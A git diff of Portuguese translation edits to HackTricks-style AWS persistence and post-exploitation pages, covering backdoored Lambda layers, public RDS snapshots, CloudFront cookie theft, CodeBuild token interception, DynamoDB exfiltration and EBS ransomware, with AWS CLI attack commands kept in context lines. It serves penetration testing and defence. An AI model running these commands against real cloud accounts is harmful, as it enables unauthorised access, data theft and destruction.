E esta é a lista de **bibliotecas** que **lambda inclui instaladas por padrão**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
|
||||
|
||||
### Backdooring de Camada Lambda
|
||||
### Backdooring de Lambda Layer
|
||||
|
||||
Neste exemplo, vamos supor que o código alvo está importando **`csv`**. Vamos **backdoor a importação da biblioteca `csv`**.
|
||||
|
||||
@@ -96,13 +96,13 @@ O payload integrado **enviará as credenciais IAM para um servidor NA PRIMEIRA V
|
||||
### Camadas Externas
|
||||
|
||||
Note que é possível usar **camadas lambda de contas externas**. Além disso, uma lambda pode usar uma camada de uma conta externa mesmo que não tenha permissões.\
|
||||
Também note que o **número máximo de camadas que uma lambda pode ter é 5**.
|
||||
Além disso, o **número máximo de camadas que uma lambda pode ter é 5**.
|
||||
|
||||
Portanto, para melhorar a versatilidade desta técnica, um atacante poderia:
|
||||
|
||||
- Backdoor uma camada existente do usuário (nada é externo)
|
||||
- **Criar** uma **camada** em **sua conta**, dar **acesso à conta da vítima** para usar a camada, **configurar** a **camada** na Lambda da vítima e **remover a permissão**.
|
||||
- A **Lambda** ainda poderá **usar a camada** e a **vítima não** terá nenhuma maneira fácil de **baixar o código das camadas** (além de conseguir um rev shell dentro da lambda)
|
||||
- A **Lambda** ainda poderá **usar a camada** e a **vítima não** terá uma maneira fácil de **baixar o código das camadas** (além de conseguir um rev shell dentro da lambda)
|
||||
- A vítima **não verá camadas externas** usadas com **`aws lambda list-layers`**
|
||||
```bash
|
||||
# Upload backdoor layer
|
||||
|
||||
@@ -12,11 +12,11 @@ Para mais informações, consulte:
|
||||
|
||||
### Baixar chaves SSH da instância e senhas do DB
|
||||
|
||||
Elas provavelmente não serão alteradas, então tê-las é uma boa opção para persistência
|
||||
Elas provavelmente não serão alteradas, então tê-las é uma boa opção para persistência.
|
||||
|
||||
### Backdoor Instances
|
||||
### Backdoor em Instâncias
|
||||
|
||||
Um atacante poderia obter acesso às instâncias e backdoor elas:
|
||||
Um atacante poderia acessar as instâncias e backdoor elas:
|
||||
|
||||
- Usando um **rootkit** tradicional, por exemplo
|
||||
- Adicionando uma nova **chave SSH pública**
|
||||
@@ -26,7 +26,7 @@ Um atacante poderia obter acesso às instâncias e backdoor elas:
|
||||
|
||||
Se os domínios estiverem configurados:
|
||||
|
||||
- Crie um subdomínio apontando seu IP para que você tenha uma **subdomain takeover**
|
||||
- Crie um subdomínio apontando para seu IP para que você tenha uma **subdomain takeover**
|
||||
- Crie um registro **SPF** permitindo que você envie **emails** do domínio
|
||||
- Configure o **IP do domínio principal para o seu próprio** e realize um **MitM** do seu IP para os legítimos
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - RDS Persistence
|
||||
# AWS - Persistência RDS
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -16,9 +16,9 @@ Um atacante com esta permissão pode **modificar uma instância RDS existente pa
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
### Criar um usuário admin dentro do DB
|
||||
### Criar um usuário administrador dentro do DB
|
||||
|
||||
Um atacante poderia **criar um usuário dentro do DB** para que mesmo se a senha do usuário master for modificada, ele **não perca o acesso** ao banco de dados.
|
||||
Um atacante poderia simplesmente **criar um usuário dentro do DB** para que mesmo se a senha do usuário master for modificada, ele **não perca o acesso** ao banco de dados.
|
||||
|
||||
### Tornar o snapshot público
|
||||
```bash
|
||||
|
||||
@@ -10,7 +10,7 @@ Para mais informações, consulte:
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS Criptografia do Lado do Cliente
|
||||
### KMS Client-Side Encryption
|
||||
|
||||
Quando o processo de criptografia é concluído, o usuário usará a API KMS para gerar uma nova chave (`aws kms generate-data-key`) e ele **armazenará a chave criptografada gerada dentro dos metadados** do arquivo ([exemplo de código python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) para que, quando a descriptografia ocorrer, ele possa descriptografá-la usando o KMS novamente:
|
||||
|
||||
@@ -18,8 +18,8 @@ Quando o processo de criptografia é concluído, o usuário usará a API KMS par
|
||||
|
||||
Portanto, um atacante poderia obter essa chave dos metadados e descriptografar com KMS (`aws kms decrypt`) para obter a chave usada para criptografar as informações. Dessa forma, o atacante terá a chave de criptografia e, se essa chave for reutilizada para criptografar outros arquivos, ele poderá usá-la.
|
||||
|
||||
### Usando ACLs do S3
|
||||
### Using S3 ACLs
|
||||
|
||||
Embora geralmente as ACLs dos buckets estejam desativadas, um atacante com privilégios suficientes poderia abusar delas (se ativadas ou se o atacante puder ativá-las) para manter o acesso ao bucket S3.
|
||||
Embora geralmente as ACLs de buckets estejam desativadas, um atacante com privilégios suficientes poderia abusar delas (se ativadas ou se o atacante puder ativá-las) para manter o acesso ao bucket S3.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -65,7 +65,7 @@ A seguinte política dá a todos na AWS acesso para ler e escrever no tópico SN
|
||||
```
|
||||
### Criar Assinantes
|
||||
|
||||
Para continuar a exfiltrar todas as mensagens de todos os tópicos, o atacante poderia **criar assinantes para todos os tópicos**.
|
||||
Para continuar exfiltrando todas as mensagens de todos os tópicos, o atacante pode **criar assinantes para todos os tópicos**.
|
||||
|
||||
Observe que se o **tópico for do tipo FIFO**, apenas assinantes usando o protocolo **SQS** podem ser utilizados.
|
||||
```bash
|
||||
|
||||
@@ -32,6 +32,6 @@ A seguinte política dá a todos na AWS acesso a tudo na fila chamada **MyTestQu
|
||||
}
|
||||
```
|
||||
> [!NOTE]
|
||||
> Você poderia até **disparar um Lambda na conta do atacante toda vez que uma nova mensagem** for colocada na fila (você precisaria re-colocá-la) de alguma forma. Para isso, siga estas instruções: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
> Você poderia até **disparar uma Lambda na conta dos atacantes toda vez que uma nova mensagem** for colocada na fila (você precisaria re-colocá-la) de alguma forma. Para isso, siga estas instruções: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1 +1 @@
|
||||
# AWS - SSM Perssitence
|
||||
# AWS - Persistência SSM
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
# AWS - Persistência de Funções de Passo
|
||||
# AWS - Persistência em Step Functions
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Funções de Passo
|
||||
## Step Functions
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
@@ -10,12 +10,12 @@ Para mais informações, consulte:
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Backdooring de Função de Passo
|
||||
### Backdooring de Step Functions
|
||||
|
||||
Backdoor uma função de passo para fazer com que ela execute qualquer truque de persistência, de modo que toda vez que for executada, ela execute seus passos maliciosos.
|
||||
Backdoor uma step function para fazer com que ela execute qualquer truque de persistência, de modo que toda vez que for executada, rodará seus passos maliciosos.
|
||||
|
||||
### Backdooring de aliases
|
||||
|
||||
Se a conta AWS estiver usando aliases para chamar funções de passo, seria possível modificar um alias para usar uma nova versão backdoored da função de passo.
|
||||
Se a conta AWS estiver usando aliases para chamar step functions, seria possível modificar um alias para usar uma nova versão backdoored da step function.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - STS Persistence
|
||||
# AWS - Persistência STS
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ Para mais informações, acesse:
|
||||
|
||||
### Token de função assumida
|
||||
|
||||
Tokens temporários não podem ser listados, então manter um token temporário ativo é uma forma de manter a persistência.
|
||||
Tokens temporários não podem ser listados, então manter um token temporário ativo é uma maneira de manter a persistência.
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
|
||||
|
||||
@@ -40,7 +40,7 @@ optional arguments:
|
||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Note que o script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) daquele repositório do Github não encontra todas as maneiras como uma cadeia de funções pode ser configurada.
|
||||
> Observe que o script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) daquele repositório do Github não encontra todas as maneiras de uma cadeia de funções ser configurada.
|
||||
|
||||
<details>
|
||||
|
||||
|
||||
+11
-11
@@ -15,13 +15,13 @@ Para mais informações, consulte:
|
||||
Você pode criar um endpoint em [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) com o serviço `com.amazonaws.us-east-1.execute-api`, expor o endpoint em uma rede onde você tenha acesso (potencialmente via uma máquina EC2) e atribuir um grupo de segurança permitindo todas as conexões.\
|
||||
Então, a partir da máquina EC2, você poderá acessar o endpoint e, portanto, chamar a API do gateway que não estava exposta anteriormente.
|
||||
|
||||
### Bypass do passthrough do corpo da requisição
|
||||
### Bypass do corpo da requisição
|
||||
|
||||
Esta técnica foi encontrada em [**este writeup de CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
|
||||
Conforme indicado na [**documentação da AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) na seção `PassthroughBehavior`, por padrão, o valor **`WHEN_NO_MATCH`**, ao verificar o cabeçalho **Content-Type** da requisição, passará a requisição para o back end sem transformação.
|
||||
|
||||
Portanto, no CTF, o API Gateway tinha um template de integração que estava **impedindo a exfiltração da flag** em uma resposta quando uma requisição era enviada com `Content-Type: application/json`:
|
||||
Portanto, no CTF, o API Gateway tinha um template de integração que estava **impedindo que a flag fosse exfiltrada** em uma resposta quando uma requisição era enviada com `Content-Type: application/json`:
|
||||
```yaml
|
||||
RequestTemplates:
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
@@ -32,15 +32,15 @@ Finalmente, como o API Gateway estava permitindo apenas `Get` e `Options`, era p
|
||||
```bash
|
||||
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
|
||||
```
|
||||
### Usage Plans DoS
|
||||
### Planos de Uso DoS
|
||||
|
||||
Na seção **Enumeration**, você pode ver como **obter o plano de uso** das chaves. Se você tiver a chave e ela estiver **limitada** a X usos **por mês**, você poderia **apenas usá-la e causar um DoS**.
|
||||
Na seção **Enumeração**, você pode ver como **obter o plano de uso** das chaves. Se você tiver a chave e ela estiver **limitada** a X usos **por mês**, você pode **apenas usá-la e causar um DoS**.
|
||||
|
||||
A **API Key** só precisa ser **incluída** dentro de um **HTTP header** chamado **`x-api-key`**.
|
||||
A **API Key** só precisa ser **incluída** dentro de um **cabeçalho HTTP** chamado **`x-api-key`**.
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
Um atacante com as permissões `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` pode **modificar uma Gateway Response existente para incluir cabeçalhos personalizados ou templates de resposta que vazam informações sensíveis ou executem scripts maliciosos**.
|
||||
Um atacante com as permissões `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` pode **modificar uma Resposta de Gateway existente para incluir cabeçalhos personalizados ou modelos de resposta que vazam informações sensíveis ou executem scripts maliciosos**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESPONSE_TYPE="DEFAULT_4XX"
|
||||
@@ -53,7 +53,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impacto Potencial**: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.
|
||||
|
||||
> [!NOTE]
|
||||
> [!NOTA]
|
||||
> Necessita de teste
|
||||
|
||||
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
|
||||
@@ -71,12 +71,12 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impacto Potencial**: Acesso não autorizado a dados em cache, interrompendo ou interceptando o tráfego da API.
|
||||
|
||||
> [!NOTE]
|
||||
> [!NOTA]
|
||||
> Necessita de teste
|
||||
|
||||
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
Um atacante com as permissões `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` pode **modificar a resposta do método de um método de API Gateway REST API existente para incluir cabeçalhos personalizados ou templates de resposta que vazam informações sensíveis ou executam scripts maliciosos**.
|
||||
Um atacante com as permissões `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` pode **modificar a resposta do método de um método REST API existente do API Gateway para incluir cabeçalhos personalizados ou templates de resposta que vazam informações sensíveis ou executem scripts maliciosos**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
@@ -91,7 +91,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impacto Potencial**: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.
|
||||
|
||||
> [!NOTE]
|
||||
> [!NOTA]
|
||||
> Necessita de teste
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
@@ -106,7 +106,7 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impacto Potencial**: Enfraquecendo a segurança da API, permitindo potencialmente acesso não autorizado ou expondo informações sensíveis.
|
||||
**Impacto Potencial**: Enfraquecimento da segurança da API, permitindo potencialmente acesso não autorizado ou expondo informações sensíveis.
|
||||
|
||||
> [!NOTE]
|
||||
> Necessita de teste
|
||||
|
||||
+5
-5
@@ -1,4 +1,4 @@
|
||||
# AWS - CloudFront Pós Exploração
|
||||
# AWS - CloudFront Pós-Exploração
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,21 +10,21 @@ Para mais informações, consulte:
|
||||
../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Homem-no-Meio
|
||||
### Man-in-the-Middle
|
||||
|
||||
Este [**post de blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propõe alguns cenários diferentes onde uma **Lambda** poderia ser adicionada (ou modificada se já estiver sendo usada) em uma **comunicação através do CloudFront** com o propósito de **roubar** informações do usuário (como o **cookie** da sessão) e **modificar** a **resposta** (injetando um script JS malicioso).
|
||||
Este [**post de blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propõe alguns cenários diferentes onde uma **Lambda** poderia ser adicionada (ou modificada se já estiver em uso) em uma **comunicação através do CloudFront** com o propósito de **roubar** informações do usuário (como o **cookie** da sessão) e **modificar** a **resposta** (injetando um script JS malicioso).
|
||||
|
||||
#### cenário 1: MitM onde o CloudFront está configurado para acessar algum HTML de um bucket
|
||||
|
||||
- **Criar** a **função** maliciosa.
|
||||
- **Associá-la** à distribuição do CloudFront.
|
||||
- Definir o **tipo de evento como "Resposta do Visualizador"**.
|
||||
- Definir o **tipo de evento como "Viewer Response"**.
|
||||
|
||||
Acessando a resposta, você poderia roubar o cookie dos usuários e injetar um JS malicioso.
|
||||
|
||||
#### cenário 2: MitM onde o CloudFront já está usando uma função lambda
|
||||
|
||||
- **Modificar o código** da função lambda para roubar informações sensíveis
|
||||
- **Modificar o código** da função lambda para roubar informações sensíveis.
|
||||
|
||||
Você pode verificar o [**código tf para recriar esses cenários aqui**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
|
||||
+4
-4
@@ -12,7 +12,7 @@ Para mais informações, consulte:
|
||||
|
||||
### Verificar Segredos
|
||||
|
||||
Se credenciais foram configuradas no Codebuild para se conectar ao Github, Gitlab ou Bitbucket na forma de tokens pessoais, senhas ou tokens de acesso OAuth, essas **credenciais serão armazenadas como segredos no gerenciador de segredos**.\
|
||||
Se credenciais foram configuradas no Codebuild para se conectar ao Github, Gitlab ou Bitbucket na forma de tokens pessoais, senhas ou acesso de token OAuth, essas **credenciais serão armazenadas como segredos no gerenciador de segredos**.\
|
||||
Portanto, se você tiver acesso para ler o gerenciador de segredos, poderá obter esses segredos e pivotar para a plataforma conectada.
|
||||
|
||||
{{#ref}}
|
||||
@@ -50,13 +50,13 @@ aws-codebuild-token-leakage.md
|
||||
|
||||
### `codebuild:DeleteProject`
|
||||
|
||||
Um atacante poderia deletar um projeto inteiro do CodeBuild, causando a perda da configuração do projeto e impactando as aplicações que dependem do projeto.
|
||||
Um atacante poderia deletar um projeto inteiro do CodeBuild, causando perda da configuração do projeto e impactando aplicações que dependem do projeto.
|
||||
```bash
|
||||
aws codebuild delete-project --name <value>
|
||||
```
|
||||
**Impacto Potencial**: Perda da configuração do projeto e interrupção do serviço para aplicativos que utilizam o projeto excluído.
|
||||
**Impacto Potencial**: Perda da configuração do projeto e interrupção do serviço para aplicações que utilizam o projeto excluído.
|
||||
|
||||
### `codebuild:TagResource`, `codebuild:UntagResource`
|
||||
### `codebuild:TagResource` , `codebuild:UntagResource`
|
||||
|
||||
Um atacante poderia adicionar, modificar ou remover tags dos recursos do CodeBuild, interrompendo a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags.
|
||||
```bash
|
||||
|
||||
+3
-3
@@ -14,7 +14,7 @@ Se você descobrir que a autenticação para, por exemplo, Github está configur
|
||||
|
||||
Para isso, você poderia **criar um novo projeto Codebuild** ou alterar o **ambiente** de um existente para definir a **imagem Docker**.
|
||||
|
||||
A imagem Docker que você poderia usar é [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Esta é uma imagem Docker muito básica que irá definir as **variáveis de ambiente `https_proxy`**, **`http_proxy`** e **`SSL_CERT_FILE`**. Isso permitirá que você intercepte a maior parte do tráfego do host indicado em **`https_proxy`** e **`http_proxy`** e confie no CERT SSL indicado em **`SSL_CERT_FILE`**.
|
||||
A imagem Docker que você poderia usar é [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Esta é uma imagem Docker muito básica que irá definir as **variáveis de ambiente `https_proxy`**, **`http_proxy`** e **`SSL_CERT_FILE`**. Isso permitirá que você intercepte a maior parte do tráfego do host indicado em **`https_proxy`** e **`http_proxy`** e confie no SSL CERT indicado em **`SSL_CERT_FILE`**.
|
||||
|
||||
1. **Crie e faça upload da sua própria imagem Docker MitM**
|
||||
- Siga as instruções do repositório para definir o endereço IP do seu proxy e configurar seu certificado SSL e **construa a imagem docker**.
|
||||
@@ -80,7 +80,7 @@ Ativar isso permite que o Codebuild se conecte ao repositório **sem verificar o
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- Em seguida, com as informações coletadas, você pode atualizar a configuração do projeto **`insecureSsl`** para **`True`**. O seguinte é um exemplo da minha atualização de um projeto, note o **`insecureSsl=True`** no final (esta é a única coisa que você precisa mudar na configuração coletada).
|
||||
- Então, com as informações coletadas, você pode atualizar a configuração do projeto **`insecureSsl`** para **`True`**. O seguinte é um exemplo de como atualizei um projeto, note o **`insecureSsl=True`** no final (esta é a única coisa que você precisa mudar na configuração coletada).
|
||||
- Além disso, adicione também as variáveis de ambiente **http_proxy** e **https_proxy** apontando para o seu tcp ngrok como:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
@@ -132,7 +132,7 @@ mitm.run()
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~Via protocolo HTTP~~
|
||||
### ~~Via HTTP protocol~~
|
||||
|
||||
> [!TIP] > **Essa vulnerabilidade foi corrigida pela AWS em algum momento da semana do dia 20 de fevereiro de 2023 (acho que na sexta-feira). Portanto, um atacante não pode mais abusar disso :)**
|
||||
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
# AWS - Controle de Torre Pós-Exploração
|
||||
# AWS - Controle de Torre Pós Exploração
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
+1
-1
@@ -6,7 +6,7 @@
|
||||
|
||||
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
|
||||
|
||||
Um ataque de ransomware pode ser executado criptografando o maior número possível de volumes EBS e, em seguida, apagando as instâncias EC2 atuais, volumes EBS e snapshots. Para automatizar essa atividade maliciosa, pode-se empregar o Amazon DLM, criptografando os snapshots com uma chave KMS de outra conta AWS e transferindo os snapshots criptografados para uma conta diferente. Alternativamente, podem transferir snapshots sem criptografia para uma conta que gerenciam e, em seguida, criptografá-los lá. Embora não seja simples criptografar volumes EBS ou snapshots existentes diretamente, é possível fazê-lo criando um novo volume ou snapshot.
|
||||
Um ataque de ransomware pode ser executado criptografando o maior número possível de volumes EBS e, em seguida, apagando as instâncias EC2 atuais, volumes EBS e snapshots. Para automatizar essa atividade maliciosa, pode-se empregar o Amazon DLM, criptografando os snapshots com uma chave KMS de outra conta AWS e transferindo os snapshots criptografados para uma conta diferente. Alternativamente, eles podem transferir snapshots sem criptografia para uma conta que gerenciam e, em seguida, criptografá-los lá. Embora não seja simples criptografar volumes EBS ou snapshots existentes diretamente, é possível fazê-lo criando um novo volume ou snapshot.
|
||||
|
||||
Primeiramente, usará um comando para coletar informações sobre os volumes, como ID da instância, ID do volume, status de criptografia, status de anexação e tipo de volume.
|
||||
|
||||
|
||||
+13
-13
@@ -1,4 +1,4 @@
|
||||
# AWS - Exploração Pós-Explotação do DynamoDB
|
||||
# AWS - Exploração Pós-DynamoDB
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ Para mais informações, consulte:
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Um atacante com essas permissões poderá **obter itens de tabelas pela chave primária** (você não pode simplesmente solicitar todos os dados da tabela). Isso significa que você precisa conhecer as chaves primárias (você pode obter isso acessando os metadados da tabela (`describe-table`).
|
||||
Um atacante com essas permissões poderá **obter itens de tabelas pela chave primária** (você não pode simplesmente pedir todos os dados da tabela). Isso significa que você precisa conhecer as chaves primárias (você pode obter isso acessando os metadados da tabela (`describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis na tabela
|
||||
**Impacto Potencial:** Elevação de privilégios indireta ao localizar informações sensíveis na tabela
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Semelhante às permissões anteriores** esta permite que um potencial atacante leia valores de apenas 1 tabela, dado a chave primária da entrada a ser recuperada:
|
||||
**Semelhante às permissões anteriores**, esta permite que um potencial atacante leia valores de apenas 1 tabela, dado a chave primária da entrada a ser recuperada:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
Com esta permissão, também é possível usar o método **`transact-get-items`** da seguinte forma:
|
||||
Com essa permissão, também é possível usar o método **`transact-get-items`** como:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -124,7 +124,7 @@ Você pode usar esta permissão para **extrair facilmente toda a tabela**.
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
Esta permissão também permite executar `batch-execute-statement` como:
|
||||
Essa permissão também permite executar `batch-execute-statement` como:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
@@ -144,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Note que, para que isso funcione, a tabela precisa ter a recuperação em ponto no tempo habilitada. Você pode verificar se a tabela a possui com:
|
||||
Observe que, para que isso funcione, a tabela precisa ter a recuperação em ponto no tempo habilitada. Você pode verificar se a tabela a possui com:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
@@ -192,7 +192,7 @@ aws dynamodb put-item --table <table_name> --item file://add.json
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Exemplo de IA" }}
|
||||
{{#tab name="AI Example" }}
|
||||
```bash
|
||||
aws dynamodb put-item \
|
||||
--table-name ExampleTable \
|
||||
@@ -242,7 +242,7 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impacto Potencial:** Exploração de outras vulnerabilidades/bypasses ao poder adicionar/modificar dados em uma tabela DynamoDB
|
||||
**Impacto Potencial:** Exploração de mais vulnerabilidades/bypasses ao poder adicionar/modificar dados em uma tabela DynamoDB
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
@@ -262,23 +262,23 @@ aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Impacto potencial**: Perda de dados e incapacidade de recuperar de um backup durante um cenário de recuperação de desastres.
|
||||
**Impacto potencial**: Perda de dados e incapacidade de recuperar a partir de um backup durante um cenário de recuperação de desastres.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar se isso realmente funciona
|
||||
|
||||
Um atacante com essas permissões pode **ativar um stream em uma tabela DynamoDB, atualizar a tabela para começar a transmitir alterações e, em seguida, acessar o stream para monitorar alterações na tabela em tempo real**. Isso permite que o atacante monitore e exfiltre alterações de dados, potencialmente levando a um vazamento de dados.
|
||||
Um atacante com essas permissões pode **habilitar um stream em uma tabela DynamoDB, atualizar a tabela para começar a transmitir alterações e, em seguida, acessar o stream para monitorar alterações na tabela em tempo real**. Isso permite que o atacante monitore e exfiltre alterações de dados, potencialmente levando a um vazamento de dados.
|
||||
|
||||
1. Ativar um stream em uma tabela DynamoDB:
|
||||
1. Habilitar um stream em uma tabela DynamoDB:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. Descreva o stream para obter o ARN e outros detalhes:
|
||||
2. Descreva o fluxo para obter o ARN e outros detalhes:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
|
||||
+17
-17
@@ -12,8 +12,8 @@ Para mais informações, consulte:
|
||||
|
||||
### **Espelho VPC Malicioso -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
O espelhamento de tráfego VPC **duplica o tráfego de entrada e saída para instâncias EC2 dentro de uma VPC** sem a necessidade de instalar nada nas próprias instâncias. Esse tráfego duplicado geralmente seria enviado para algo como um sistema de detecção de intrusão de rede (IDS) para análise e monitoramento.\
|
||||
Um atacante poderia abusar disso para capturar todo o tráfego e obter informações sensíveis a partir dele:
|
||||
O espelhamento de tráfego VPC **duplica o tráfego de entrada e saída para instâncias EC2 dentro de uma VPC** sem a necessidade de instalar nada nas próprias instâncias. Esse tráfego duplicado geralmente seria enviado para algo como um sistema de detecção de intrusões de rede (IDS) para análise e monitoramento.\
|
||||
Um atacante poderia abusar disso para capturar todo o tráfego e obter informações sensíveis dele:
|
||||
|
||||
Para mais informações, consulte esta página:
|
||||
|
||||
@@ -50,7 +50,7 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
